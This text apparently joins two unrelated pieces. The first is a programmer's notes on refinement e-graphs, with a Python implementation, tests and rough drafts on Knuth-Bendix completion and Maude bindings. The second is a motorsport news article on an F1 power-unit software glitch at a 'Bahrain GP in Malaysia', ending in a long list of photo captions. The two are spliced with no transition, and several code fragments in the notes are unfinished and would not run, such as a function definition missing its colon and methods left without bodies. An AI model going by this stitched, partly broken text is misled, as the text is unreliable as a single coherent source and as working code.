
class Term: ...
@dataclass
class App(Term):
    f : str
    children : tuple[Term,...]
    def size(self) -> int: # used in extraction
        return 1 + sum(child.size() for child in self.children)
@dataclass 
class Var(Term):
    name : str

type Subst = dict[str, Id]

@dataclass
class LE_EGraph():
    parents : list[Id] = field(default_factory=list)
    memo : dict[Node, Id] = field(default_factory=dict)
    uppers : list[set[Id]] = field(default_factory=list)
    lowers : list[set[Id]] = field(default_factory=list)
    variance : dict[str, tuple[Variance, ...]] = field(default_factory=dict)

    def get_variance(self, f: str, arity: int) -> tuple[Variance, ...]:
        sig = self.variance.get(f, (Variance.UNKNOWN,) * arity)
        assert len(sig) == arity
        return sig

    def find(self, a : Id) -> Id:
        while self.parents[a] != a:
            a = self.parents[a]
        return a
    def union(self, a : Id, b : Id) -> None:
        a,b = self.find(a), self.find(b)
        if a == b:
            return
        self.parents[b] = a
        self.uppers[a] |= self.uppers[b]
        self.lowers[a] |= self.lowers[b]
    def add(self, f, *args : Id) -> Id:
        args = tuple(self.find(a) for a in args)
        node = Node(f, args)
        if node in self.memo:
            return self.find(self.memo[node])
        new_id = len(self.parents)
        self.parents.append(new_id)
        self.uppers.append(set())
        self.lowers.append(set())
        self.memo[node] = new_id
        return new_id
    def is_eq(self, a : Id, b : Id) -> bool:
        return self.find(a) == self.find(b)
    def all_le(self, a : Id) -> set[Id]:
        a = self.find(a)
        u = {self.find(x) for x in self.uppers[a]}
        u.add(a) # reflexive
        todo = list(u)
        while todo:
            x = self.find(todo.pop())
            for y in self.uppers[x]:
                y = self.find(y)
                if y not in u:
                    u.add(y)
                    todo.append(y)
        return u
    def all_ge(self, a : Id) -> set[Id]:
        a = self.find(a)
        l = {self.find(x) for x in self.lowers[a]}
        l.add(a) # reflexive
        todo = list(l)
        while todo:
            x = self.find(todo.pop())
            for y in self.lowers[x]:
                y = self.find(y)
                if y not in l:
                    l.add(y)
                    todo.append(y)
        return l
    def add_le(self, a : Id, b : Id) -> None:
        a,b = self.find(a), self.find(b)
        if a == b:
            return
        self.uppers[a].add(b) # could not do so if already found. Help keep uppers sparse
        self.lowers[b].add(a)
    def is_le(self, a : Id, b : Id) -> bool:
        return self.find(b) in self.all_le(a) # We don't have to collect up all_le to compute this but this is easy
    #def cong_step(self, mode : Mode): ...
    # rebuild is applying eq_cong_step in a loop
    def eq_cong_step(self):
        for node, id in list(self.memo.items()):
            children1 = [self.find(a) for a in node.children]
            if children1 == list(node.children):
                continue
            else:
                del self.memo[node] # It is important for e-matching to remove stale nodes.
                id1 = self.add(node.f, *children1)
                self.union(id, id1) # could pollute union find less by giving a variant of self.add id
    def le_cong_step(self):
        for node, id in list(self.memo.items()):
            children = [self.find(a) for a in node.children]
            id1 = self.add(node.f, *children)
            sig = self.get_variance(node.f, len(node.children))
            for c2 in itertools.product(*[self.expand_eclass(a, v.act(Mode.LE)) for a, v in zip(node.children, sig)]):
                id2 = self.add(node.f, *c2)
                self.add_le(id, id2)
        # It is not obvious that le cong should something stale. It probably shouldn't
    def ge_cong_step(self):
        # Just the opposite directin of le_cong_step
        for node, id in list(self.memo.items()):
            children = [self.find(a) for a in node.children]
            id1 = self.add(node.f, *children)
            sig = self.get_variance(node.f, len(node.children))
            for c2 in itertools.product(*[self.expand_eclass(a, v.act(Mode.GE)) for a, v in zip(node.children, sig)]):
                id2 = self.add(node.f, *c2)
                self.add_le(id2, id)
    def le_cong_weak(self): 
        # Don't make new enodes. But instead set pre-existing enodes as le
        for node,id in self.memo.items():
            sig = self.get_variance(node.f, len(node.children))
            for c2 in itertools.product(*[self.expand_eclass(a, v.act(Mode.LE)) for a, v in zip(node.children, sig)]):
                id2 = self.memo.get(Node(node.f, c2))
                if id2 is not None:
                    self.add_le(id, id2)
    def expand_eclass(self, a : Id, mode : Mode) -> set[Id]:
        a = self.find(a)
        if mode == Mode.LE:
            return self.all_le(a)
        elif mode == Mode.GE:
            return self.all_ge(a)
        else:
            return {a}
    def nodes_in_class(self, id: Id, mode : Mode) -> list[Node]:
        ids = self.expand_eclass(id, mode)
        return [obj for obj, obj_id in self.memo.items() if self.find(obj_id) in ids]
    def ematch_rec(self, id : Id, pat : Term, mode : Mode, subst) -> list[Subst]:
        # perhaps expand_eclass should be pulled up here.
        match pat:
            case Var(name): # should allow Var to expand_eclass? Probably. Ok.
                if name in subst:
                    return [subst] if self.find(subst[name]) in self.expand_eclass(id, mode) else []
                else:
                    return [{**subst, name: self.find(id)} for id in self.expand_eclass(id, mode)]
            case App(f, args):
                sig = self.get_variance(f, len(args))
                new_modes = [v.act(mode) for v in sig]
                results = []
                # In this style of doing it, the ONLY change to support refinement is the implementation of nodes_in_class
                for node in self.nodes_in_class(id, mode): # nodes_le_class(id) ?
                    if node.f == f and len(node.children) == len(args):
                        todo = [subst]
                        for arg_pattern, arg_id, arg_mode in zip(args, node.children, new_modes):
                            todo = [
                                subst1
                                for subst0 in todo
                                for subst1 in self.ematch_rec(
                                    arg_id, arg_pattern, arg_mode, subst0
                                )
                            ]
                        results.extend(todo)
                return results
    def extract(self, id : Id, mode : Mode) -> set[Id]:
        # Is this top down extraction busted? Is it actually ok to do the None trick or is it possible visitation order matters?
        memo = {}
        def worker(id: Id, mode : Mode) -> Term:
            id = self.find(id)  # probably redundant
            key = (id, mode)
            if key in memo:
                return memo[key]
            else:
                memo[key] = None  # mark as in progress to avoid infinite loops
                best_cost, best_term = float("inf"), None
                for node in self.nodes_in_class(id, mode):
                    variance = self.get_variance(node.f, len(node.children))

                    args = tuple(worker(arg_id, v.act(mode)) for arg_id, v in zip(node.children, variance))
                    if any(arg is None for arg in args):
                        continue  # subterm hit recursion, skip this node
                    term = App(node.f, args)
                    cost = term.size() + 1 # You don't want to be recursing down terms like this. Should also memoize cost.
                    if cost < best_cost:
                        best_cost, best_term = cost, term
                memo[key] = best_term
                return best_term
        return worker(id, mode)
                

        


    #def rebuild(self) -> None:
    #def ematch(self, mode : Mode): 
    #def extract(self, mode : Mode): 


E = LE_EGraph()
a, b = E.add("a"), E.add("b")
fa, fb = E.add("f", a), E.add("f", b)
E.union(a, b)
assert not E.is_eq(fa, fb)
E.eq_cong_step()
assert E.is_eq(a, b)
assert E.is_eq(fa, fb)



E = LE_EGraph()
E.variance["f"] = (Variance.MONO,)
a, b = E.add("a"), E.add("b")
fa, fb = E.add("f", a), E.add("f", b)
E.add_le(a, b)
assert E.is_le(a, b)
assert E.is_le(a, a)
assert not E.is_le(b, a)
E.le_cong_step()
assert E.is_le(fa, fb)

E = LE_EGraph()
E.variance["diff"] = (Variance.MONO,Variance.ANTI)
a, b,c,d = E.add("a"), E.add("b"), E.add("c"), E.add("d")
diff_ab = E.add("diff", a, b)
E.add_le(b, c)
E.add_le(c, d)
#E.le_cong_step()
#E.ge_cong_step()
E.ematch_rec(diff_ab, App("diff", (Var("x"), Var("y"))), Mode.GE, {})

[{'x': 0, 'y': 1}, {'x': 0, 'y': 2}, {'x': 0, 'y': 3}]

Bits and Bobbles

All told, I find refinement a shockingly simple extension of the usual egraph concepts and implementation. But it has felt mysterious before so maybe that means I’ve just become incredibly wise?

I think really the thing that makes it shockingly simple is just not believing there is any incredibly clever or nuanced way of doing it. I think the only way to do it is basically the obvious way.

I think that maybe the generalization of all this is an egraph rewriting system that supports multiple relations and annotations of how they push through function symbols, akin to https://rocq-prover.org/doc/V9.2.0/refman/addendum/generalized-rewriting.html

I remember being at a table at PLDI 2022 and Zach trying to convince / ask John Regehr what he wanted for e-graph to be compelling to him. He said refinement and as a treatment of arbitrary bitwidth bitvectors. These two have stuck with me as things to look for and this is the source of the refinement e-graph line of questioning.

Other applications:

I have debated rather than the mode + variance abstraction to allow specifying what expansion (EQ,GE,LE) you want in the language of the pattern. For example i could use (foo ?a) , [foo ?a] , {foo ?a} if I want to allow EQ, GE, LE respectively. This would allow fine grained ad hoc control of refinement e-matching in the pattern.

As Graham noted, the upper and lower sets of the Ids do fit operationally somewhat into the egg notion of Analyses. Generically, it makes perfect sense to have things keyed on Id that merge when Id merge. I am agnostic if that means such things must be Lattices (as many program analyses are), Semigroups (like eclass member counts) or something else. That the upper and lower sets themselves contain more Ids is fine but also defies a simple algebraic characterization of what is going on in my opinion.

There has been a similar debate if equality is “just a lattice of partitions”, trying to subsume the equality relation of the egraph into Lattices as the master concept. Didn’t seem to really work but operationally it kind of makes sense that equalities is implemented as a “merge action” very much akin to a lattice join at least operationally. There is spooky action at a distance through the union find though. Mutable references often enable some kind of spooky tunnelling phenomenon that break simple mathematical models https://counterexamples.org/polymorphic-references.html https://en.wikipedia.org/wiki/Value_restriction (Oleg Kiselyov had some way of casting types through a ref cell tunnel too?)

Current mode Arg polarity
= _ =
<= + <=
<= = =
<= - >=

The mode extraction kind of says what kind of pattern we are procssing p <= t t <= p or t = p . Variance is a property of function symbols that says what we can infer about pushing <= through f . This is used in the upward direction for refinement closure, but in the downward direction for breaking apart a pattern matching constraint/query into queries on the arguments {f(?a, ?b) R f(x,y)} ===> {?a R x, ?b R y} . R may be flipped, kept the same, or forced to be equality because f isn’t known to be sufficiently monotone. It is always sound to revert an inequality query ?p <= t to equality ?p = t .

Extraction also comes in the same modes t = ?extract t <= ?extract t >= ?extract . Extraction is kind of similar to pattern matching in some respects

[[x]] = fun b => {b} is the lifted identity function. ite is pointwise lifted. [[dontcare]] = fun _ => {True, False} [[true]] = fun _ => {True} [[false]] = fun _ => {False} . Refinement is interpreted as subrelation.

I feel that for an abstract partial order relation, this is about as good as you’re going to do. I don’t think there is a some magic data structure that will make everything all better

But I do think there is the possibility to do better on two axes

  • Partial Orders with extra axioms. Total, linear, Tree-like orders may have more available https://microsoft.github.io/z3guide/docs/theories/Special%20Relations/
  • Proof relevancy. If you can say the sense that r : a <= b then you can do better. As an example, if you know a <= b in the integers, a proof object might be an n >= 0 such that a + n == b . This can be implemented as an offset union find, which is much more efficient. There are other orders where the proof object can help that generalize this. Tree-like orders in particular are interesting in that the tree-like ness of the order can comply nicely with the tree-like ness of the union find forest.
  • Semantics. If we know we’re talking about the integers with <= , yeah there might be a bunch of ways of going aobut it. It’s total, yada yada, but we have a lot of games and data structures we can play on the integers. Side car linear programming solvers something something.

A prototype of a refinement egraph based on Max Willsey’s microegg https://github.com/mwillsey/microegg . A WASM demo is here https://www.philipzucker.com/refinement-microegg

Refinement e-graphs give you an uninterpreted <= that is about as baked in as = is.

This is useful perhaps because as the story goes, many rewrites in compilers are not unoriented equalities, they are oriented refinements.

<= is baked in to be transitive, reflexive, and collapses cycles to = .

Previous discussions of mine on refinement e-graphs:

The union find tracks upper and lower <= sets in a manner similar to an analysis (they are keyed on eclass and merge on union). Tentatively, storing this maximally sparsely rather than fully materializing (DFSing it on demand) as one would in egglog is more performant in memory and time. Egglog itself is highly engineered though, so I don’t actually know how this shakes out.

A nice example is “don’t care” in boolean circuits . Some inputs are not expected or allowed, so they optimizer is free to pick a behavior on those inputs that helps make a more optimal circuit.

In either case, I think baking in <= rather than having it as a mangled program or macro is conceptually cohesive and pleasant.

Nothing involving <= is quite as well behaved or as performant as = , but it is there as a light sprinkling on top. If everything you do is refinement rather than equality, I am not sure the refinement egraph offers much over a hash cons with a stored inequality table.

E-matching, rebuilding, and extraction all have slight tweaks related to <= . Rebuilding performs refinement closure.

Function symbols can be given a variance signature, very similarly to variance of type parameters in subtyping. This is about whether they are monotone a <= b -> f a <= f b , anti-monotone a <= b -> f a >= f b or neither in particular arguments. This changes patterns and extraction “modes” appropriately as they go through the term.

Refinement rebuilding / closure is no where near as nice as equality (although it is still conceptually simple). It is not obvious that it will terminate if one allows new enode creation, so in that sense it is in the same naughty category as rewrite rules. There is a distinction to be made between materializing and non-materializing refinement closure (only note inequalities between pre-exising enodes).

You do sometimes want to enumerate your upper or lower set of ids for refinement closure, and for e-matching modulo refinement and extraction modulo refinement.

It is my belief that a completely generic uninterpreted refinement relation can never be as good as an equality relation and that there probably isn’t an astonishingly good way of implementing such a thing. It will more or less correspond to depth first search enumerations +- some tweaks.

Nevertheless, I think it is both nontrivial, interesting, and possibly useful to bake in an inequality relation into the surface language and features.

The alternative is to macro encode an inequality into something like egglog. I kind of prefer direct operational interpretations than a macro expansion explanation.

In small micro benchmarks it does appear that maintaining the sparse representation of the inequality relation with on the fly closure is superior to materializing it ahead of time in memory and speed (memory often implies speed since cache whatevers are a dominant concern).

Based on the results in https://www.sciencedirect.com/science/article/pii/S1571066104002968 it is my suspicion that ground refinement closure may be undecidable. In this case, full refinement closure should be treated at the same level of suspicion and incompleteness as rules are.

https://www.philipzucker.com/asymmetric_complete/

Hmm. Am i crazy? It would be nice is some enodes were subsumed by the inequality relation. But ematching can kind of traverse non materialized nodes? Is there some way we could subsume / del / dematerialize enodes such that ematching could still find them? Something that is pinned between f0 <= f1 <= f2 maybe we could del f1? Asymmetric rewriting still has some deletion character to it. Maybe it oculd be the ematcher’s job to materialize stuff a la Max’s suggestion.

4/2026

It’s kind of like knownbits. For BV1 it is all possible sets.

from kdrag.all import *

none = smt.K(smt.BoolSort(), False)
true = smt.Store(none, True,True)
false = smt.Store(none, True, False)
any = smt.K(smt.BoolSort(), True)

def SetLift(f : FuncRef)
    ds = smt.domains(f)
    r = smt.range(f)
    def res(*args):
        x = smt.FreshConst("x", smt.BoolSort())
        ps = [smt.FreshConst("p", typ) for typ in ds]
        return smt.Lambda([x], smt.Exists(ps, x == args[0][p], x = f(p)))
    return res



def And(a, b):
    x = smt.FreshConst("x", smt.BoolSort())
    p,q = smt.Consts("p q", smt.BoolSort())
    return smt.Lambda([x], smt.Exists([p,q], a[p], b[q], x = smt.And(p,q)))

def Or(a, b): ...
def Implies()

obool = kd.inductive("inductive obool where | none : obool | lit : Bool -> obool | any : obool")

obool.lit(True)
x,y = smt.Consts("x y", obool)
kd.notation.and_.define([x,y], 
                        kd.cond(
                            (smt.And(x == obool.none, y == obool.none), obool.none),
                            ()
                        )
                        )

refines(a,b)


lit(True)

George example

simplify dontcare /\ x

0 /\ x = 0 is eq

Semantics is set of

For total orders there is are speical datastructure. What about one tjat effectively assigns “rationals” Or really we have a space with gaps and we incrementally grow the space when it gets too full, or redistrbute if it gets too cluttered in just one section.

For tree orders, maybe we really could maintain a union find?

k-Width partial orders or approximation by a k-width order?

https://microsoft.github.io/z3guide/docs/theories/Special%20Relations/

Using partial order special relation to get refinement egraphs. Need to manually order close though.

https://docs.google.com/document/d/15amCalh9CSOWbbZ3d_haNad0Pw_jJ7vYcjMLkp7r-AA/edit?tab=t.0

polar types in dolan. Maybe something like this restriction enables ground asym completion to terminate? Separate refinement closure into its polar and non polar components.

lattice and ordered resolution https://cstheory.stackexchange.com/questions/12326/unification-and-gaussian-elimination respond here once I get it

Unification and Knuth Bendix. I consider them to be opposites even if they can be encoded to each other. KB is forward reasoning unification is backward reasoning from a query or goal

For speed reasons maybe you’d want to have 3-tuple 4-tuples etc available. Lempel ziv something something? https://en.wikipedia.org/wiki/Lempel%E2%80%93Ziv%E2%80%93Welch word equqation solving also had compression as an idea in there…

string rewriting is a suffiicnet framework to simplify atomic equational proofs. Maybe overly powerful?

Why can’t I binarize into a normal form weight by original size. Tie break abc = df a b = e1 e1 c = e2

actual equations: e2 = e4

overlaps a b = e2 b c = e5

a + b = e_+1 a b = e_ 7 structured eids tagged by function symbol and identifier Online extraction? idenitfy a term with the eid at time of creation. You can on demand compare

“enodes” + “union find” Nontrivial enode overlap is impossible. simplification is possible. Weighted union find = weighted Atomic KBO

class UF():
    weight : list[int]
    parents : list[int]
    def union():
        x,y = find(x), find(y)
        if weight[x] <= weight[y]:
            parents[x] = y
        else:
            parents[x]

For AC enodes, we do need to perform overlap. Term ordering matters (?) (X + Y + Z) :- (X + Y), (Y + Z). Online extraction - we do not need to keep anything that

Teitze transformations https://en.wikipedia.org/wiki/Tietze_transformations tsetsin ANF definitional exte4nsions But would this be crazy for multiset, linear, grobner, etc? ax + by = z1 x + by = z1 z1 = z2

ax + by = z1 where a b are coprime ax + by = z1 a z1 = b z2

binary form of egraph. Partial application. App form (f, x) = fx (fx, y) = fxy (fxy, z) = fxyz LFHOL term orderings. Cody had some spiel

enodes need an overlap api. eids need online extraction / term orderings to figure out winners. Or just online extraction? But why does ordering matter then if the term associated with eclass is fluid. f(x,y,z) -> e1 can spontaneously become unoriented in this perspective if x lowers a bunch extraction repair f(x,y,z) <- e1

memo : enode -> eclass parents : eclass -> eclass enodes : eclass -> Vec // vec? weights : eclass -> Int

enodes kind of performs extraction If there are two directions, that’s an overlap / confluence problem. Need to remove stuff from union find?

Conservative extension makes sense either in compression or expansive form (decoding). efresh -> term decoding vs term -> egraph compressive

Knuth Bendix + definition extension / teitze, conservative extension

E, R, TermOrder
--------------define
E U {efresh = t}, R, TermOrder U {?}

Why is a careful term ordering seemingly necessary for stuff besides union finds and straight egraphs?

well ordering surgery. Ordinals (total well orders) have an otion of algebra. They have a uniquer global minimum.

AC egrapha = ground completion + multiple ac symbols. ACRPO - flatten + use multiset ? No but first we have to consider the exact structure we’ve been given Rubio https://courses.grainger.illinois.edu/cs576/sp2017/readings/18-mar-9/rubio-ac-rpo-long.pdf a fully syntactic acrpo https://arxiv.org/pdf/1403.0406 ACKBO https://courses.grainger.illinois.edu/cs576/sp2017/readings/18-mar-9/narendran-rusinowitz-ground-AC-compl.pdf A \/ C, rpo https://courses.grainger.illinois.edu/cs576/sp2017/ meseguer readonig course. Pretty interesting stuff in here. https://courses.grainger.illinois.edu/CS476/fa2022/ https://courses.grainger.illinois.edu/CS476/fa2022/readings/meseguer-set-theory-algebra-computer-science.pdf Set Theory and Algebra in Computer Science A Gentle Introduction to Mathematical Modeling order sorted algebras. hmm. https://dl.acm.org/doi/book/10.5555/547173 Algebraic Semantics of Imperative Programs https://courses.grainger.illinois.edu/cs476/sp2012/hw/lecture-notes-peter.pdf Formal Modeling and Analysis of Distributed Systems in Maude

https://www.lix.polytechnique.fr/~jouannaud/articles/acrvf.pdf

https://www.sciencedirect.com/science/article/pii/S0304397506002647 Abstract canonical presentations proofs orderings. Good proofs. https://link.springer.com/chapter/10.1007/11780274_26 Completion Is an Instance of Abstract Canonical System Inference

https://github.com/postechsv/maude-se

import maude
maude.init()
nat = maude.getModule('NAT')
t = nat.parseTerm('1 + 2')
t.reduce()
print(t)
t = nat.parseTerm('1 + 2')
t.symbol()
list(t.arguments())
#maude.Symbol()
nat.parseTerm("X + Y")
[31mWarning: [0m<standard input>, line 0: bad token [35mX[0m.
[31mWarning: [0m<standard input>, line 0: no parse for term.
(fmod BOOL,
 fmod TRUTH-VALUE,
 fmod BOOL-OPS,
 fmod TRUTH,
 fmod EXT-BOOL,
 fmod INITIAL-EQUALITY-PREDICATE,
 fmod NAT,
 fmod INT,
 fmod RAT,
 fmod FLOAT,
 fmod STRING,
 fmod CONVERSION,
 fmod RANDOM,
 fmod BOUND,
 fmod QID,
 fth TRIV,
 fth STRICT-WEAK-ORDER,
 fth STRICT-TOTAL-ORDER,
 fth TOTAL-PREORDER,
 fth TOTAL-ORDER,
 fth DEFAULT,
 fmod LIST,
 fmod WEAKLY-SORTABLE-LIST,
 fmod SORTABLE-LIST,
 fmod WEAKLY-SORTABLE-LIST',
 fmod SORTABLE-LIST',
 fmod SET,
 fmod LIST-AND-SET,
 fmod SORTABLE-LIST-AND-SET,
 fmod SORTABLE-LIST-AND-SET',
 fmod LIST*,
 fmod SET*,
 fmod MAP,
 fmod ARRAY,
 fmod STRING-OPS,
 fmod NAT-LIST,
 fmod QID-LIST,
 fmod QID-SET,
 fmod META-TERM,
 fmod META-CONDITION,
 fmod META-STRATEGY,
 fmod META-MODULE,
 fmod META-VIEW,
 fmod META-LEVEL,
 fmod LEXICAL,
 mod COUNTER,
 mod LOOP-MODE,
 mod CONFIGURATION)
import maude
maude.init()
#nat = maude.getModule('NAT')
#list(nat.getSymbols())
#maude.input("load Nat .")
#maude.input("vars X Y : Nat .")
mod = maude.getCurrentModule()
list(mod.getSymbols())
list(mod.getSorts())

maude.input("""
fmod SIMPLE-NAT is 
       sort Nat . 
       op zero : -> Nat . 
       op s_ : Nat -> Nat . 
       op _+_ : Nat Nat -> Nat . 
       vars N M : Nat . 
       eq zero + N = N . 
       eq s N + M = s (N + M) . 
      endfm
""")
sn = maude.getModule("SIMPLE-NAT")
sn.parseTerm("s s N")

from dataclasses import dataclass, field
type Sort = str
@dataclass
class ModuleBuilder():
    name : str
    sorts : set[Sort] = field(default_factory=set)
    vars : dict[str, Sort] = field(default_factory=dict)
    ops : dict[str, tuple[list[Sort], Sort]] = field(default_factory=dict)
    extras : list[str] = field(default_factory=list)
    def build(self) -> str:
        maude.input(str(self))
        return maude.getModule(self.name)
    def add_sort(self, sort: smt.SortRef):
        self.sorts.add(sort.name())
    def add_decl(self, decl: smt.FuncDeclRef):



    def __str__(self):
        lines = [f"fmod {self.name} is"]
        for s in self.sorts:
            lines.append(f"  sort {s} .")
        for v, s in self.vars.items():
            lines.append(f"  var {v} : {s} .")
        for op, (arg_sorts, ret_sort) in self.ops.items():
            arg_str = ' '.join(arg_sorts)
            lines.append(f"  op {op} : {arg_str} -> {ret_sort} .")
        lines.extend(self.extras)
        lines.append("endfm")
        return '\n'.join(lines)


ModuleBuilder()
[32mAdvisory: [0mredefining module [35mSIMPLE-NAT[0m.
'/home/philip/philzook58.github.io/.venv/lib/python3.12/site-packages/maude/__init__.py'
class StringKB():
    memo : dict[object,int]
    compress : dict[[tuple[int,int], int]]
    # repeat : dict[tuple[EId, int], EId]
    uf : list[int]
    def makeset(self):
        self.uf.append(len(self.uf))
        return len(self.uf) - 1
    def memo_obj(self, x):
        if x in self.memo:
            return self.memo[x]
        else:
            i = self.makeset()
            self.memo[x] = i
            return i
    def add_str(self, xs):
        xs = map(self.memo_obj, xs)
        for i in range(len(xs) - 1):
            a,b = xs[i], xs[i+1]
            if (a,b) in self.compress:
                c = self.compress[(a,b)]
            else:
                c = self.makeset()
                self.compress[(a,b)] = c
    def union(self, a, b):
        ra = self.find(a)
        rb = self.find(b)
        if ra != rb:
            self.uf[ra] = rb
    def rebuild(self):
        for (a,b), c in self.compress.items(): # overlap
            for (d,e), f in self.compress.items():
                if self.find(b) == self.find(d):
                    ce, af = self.pair(c,e), self.pair(a,f)
                    self.union(ce, af)
        for (a,b), c in self.compress.items(): # congruence
            ra, rb, rc = self.find(a), self.find(b), self.find(c)
            self.union(self.pair(ra,rb), rc)
        

            
    

def reclen(t1):
    if isinstance(t1, tuple):
        return 1 + sum(map(reclen, t1))
    else:
        return 1

reclen((((1,2),3)))
def lt_kbo(t1, t2):
    # ground kbo is size + tie breaking
    if t1 == t2:
        return False
    elif isinstance(t1, tuple) and isinstance(t2, tuple):
        l1, l2 = reclen(t1), reclen(t2)
        if l1 < l2:
            return True
        elif l1 > l2:
            return False
        else:
            for a,b in zip(t1,t2):
                if a == b:
                    continue
                else:
                    return lt_kbo(a,b)
    elif not isinstance(t1, tuple) and not isinstance(t2, tuple):
        return t1 < t2
    elif not isinstance(t1, tuple) and isinstance(t2, tuple):
        return True
    else:
        return False

lt_kbo((1,2),(1,3))
lt_kbo((1,2),(1,2,3))
lt_kbo((1,2,3),(1,2))

a lambda egraph. (but only alpha) Why not?

did I ever do a KB egraph?

def replace(t, lhs, rhs):
    if t == lhs:
        return rhs
    elif isinstance(t, tuple):
        return tuple(lambda x: replace(x, lhs, rhs) for x in t)
    else:
        return t



class EGraph():
    rules : dict

    def union(self, t1, t2):
        t1,t2 = self.canon(t1), self.canon(t2)
    def find(self, t): ...
    def rebuild(self, t):
        foself.rules.keys():





def lt_kbo(t1, t2):
    # ground kbo is size + tie breaking
    if reclen(t1) < reclen(t2):
        return True
    else:
        
def rw(t, lhs, rhs):
    if t == lhs:
        return rhs
    elif isinstance(t, tuple):
        return tuple(map(rw(lhs,rhs), t))
    else:
        return t


class AsymComplete():

Powerless F1 drivers frustrated by Bahrain F1 software glitch

Hacker News
www.motorsport.com
2026-10-04 21:54:08
Comments...
Original Article

Leading F1 drivers are despairing at power unit software glitches that derailed the start of the Bahrain GP in Malaysia, with Lando Norris calling the electronic glitches "horrible" and further proof that F1 should move away from hybrids.

The start at a wet Sepang circuit was aborted after a large number of cars suffered crippling software issues. With the event being the first wet weather race contested by the 2026 generation of cars, a bug in the software when drivers were driving at very low speeds, triggered by the power unit controller's wet weather mode, left drivers stuck into idle mode at various points of the two planned formation laps.

With several cars stuck into that idle loop, the FIA had to rapidly code and deliver a software patch for all 11 teams to install during the following red flag stoppage, lifting the usual wet weather power reduction in the affected zones. It took a 50-minute delay for the race to start, which was a major blemish for F1 ahead of what was otherwise an entertaining, mixed-weather race.

With drivers already harbouring misgivings on F1 2026's battery-dominated racing and the overbearing electronics that are in charge, the incident did little to further endear them to the current formula.

"It's just horrible. I don't know, it just proves that we shouldn't have any of that stuff, the electronic side," Norris said, one of the few Mercedes- powered drivers to suffer the glitch.

"I've never seen an F1 race delayed by a bug. That was a new one," Piastri said mockingly. "I got stuck for about a second. When the turbo doesn't work on these things, you might as well push the car instead of using an engine. It was quite bizarre. It wasn't a great look, but I think it would be unfair to point the finger before there's an explanation."

Lando Norris, McLaren

Lando Norris, McLaren

Photo by: Andy Hone/ LAT Images via Getty Images

Cadillac's Sergio Perez , who drove one of several Ferrari- powered cars that were affected, was less kind. "It felt like you were in a rental kart and you ran out of time," the Mexican explained. "You were putting your foot down and accelerating and nothing was coming.

"I'm sure we will learn from it as a sport. But what happened today is totally unacceptable for the sport."

Haas driver Oliver Bearman said it was "scary" for his throttle pedal being cut off by something beyond his control. "I've never seen anything like that. I was shocked," he said. "I didn't even know that the FIA could control our throttle pedal. That was quite scary, actually. My throttle pedal stopped working, but it looks like everybody stopped working as well. The engine was just idling."

Aston Martin's Fernando Alonso said there was now "too much technology" involved in the series and felt "the spectators don’t really appreciate it" either. Meanwhile, race winner Max Verstappen , whose slow getaway helped trigger the bug, likened the formation lap chaos to the Lego go-kart race in Silverstone.

"That’s the problem that we have," the Dutchman said. "These engines are so complicated and a lot of software is implemented. I triggered it first and then I looked in my mirror and I was like: 'Wait, are they waiting for me or what’s going on...?'

"Then we did a lap and then I saw eight other cars crawling still. What can you say? I mean, that’s not what you want for the sport, right?"

Photos from F1 Bahrain GP in Malaysia- Sunday

Max Verstappen, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

Lewis Hamilton, Ferrari

Bahrain GP in Malaysia - Sunday, in photos

George Russell, Mercedes; Lando Norris, McLaren; Carlos Sainz, Williams

Bahrain GP in Malaysia - Sunday, in photos

Driver parade atmosphere

Bahrain GP in Malaysia - Sunday, in photos

Frederic Vasseur, Ferrari

Bahrain GP in Malaysia - Sunday, in photos

Andrea Kimi Antonelli, Mercedes

Bahrain GP in Malaysia - Sunday, in photos

Charles Leclerc, Ferrari

Bahrain GP in Malaysia - Sunday, in photos

Isack Hadjar, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

Wet weather

Bahrain GP in Malaysia - Sunday, in photos

Franco Colapinto, Alpine

Bahrain GP in Malaysia - Sunday, in photos

Andrea Kimi Antonelli, Mercedes, Lewis Hamilton, Ferrari, George Russell, Mercedes

Bahrain GP in Malaysia - Sunday, in photos

Andrea Kimi Antonelli, Mercedes, Lewis Hamilton, Ferrari, Isack Hadjar, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

Pierre Gasly, Alpine, Isack Hadjar, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

Charles Leclerc, Ferrari, Esteban Ocon, Haas F1 Team

Bahrain GP in Malaysia - Sunday, in photos

Max Verstappen, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

Andrea Kimi Antonelli, Mercedes, Max Verstappen, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

Safety Car

Bahrain GP in Malaysia - Sunday, in photos

Lewis Hamilton, Ferrari

Bahrain GP in Malaysia - Sunday, in photos

Nico Hulkenberg, Audi F1 Team, Arvid Lindblad, Racing Bulls, Lando Norris, McLaren

Bahrain GP in Malaysia - Sunday, in photos

Esteban Ocon, Haas F1 Team

Bahrain GP in Malaysia - Sunday, in photos

Andrea Kimi Antonelli, Mercedes

Bahrain GP in Malaysia - Sunday, in photos

Nico Hülkenberg, Audi F1 Team

Bahrain GP in Malaysia - Sunday, in photos

Isack Hadjar, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

Max Verstappen, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

Isack Hadjar, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

Lance Stroll, Aston Martin Racing

Bahrain GP in Malaysia - Sunday, in photos

Andrea Kimi Antonelli, Mercedes, Max Verstappen, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

George Russell, Mercedes

Bahrain GP in Malaysia - Sunday, in photos

Max Verstappen, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

Lewis Hamilton, Ferrari

Bahrain GP in Malaysia - Sunday, in photos

Max Verstappen, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

Andrea Kimi Antonelli, Mercedes, Max Verstappen, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

Max Verstappen, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

Andrea Kimi Antonelli, Mercedes

Bahrain GP in Malaysia - Sunday, in photos

Lewis Hamilton, Ferrari

Bahrain GP in Malaysia - Sunday, in photos

Andrea Kimi Antonelli, Mercedes

Bahrain GP in Malaysia - Sunday, in photos

Max Verstappen, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

Andrea Kimi Antonelli, Mercedes, Lewis Hamilton, Ferrari, Max Verstappen, Red Bull Racing

Bahrain GP in Malaysia - Sunday, in photos

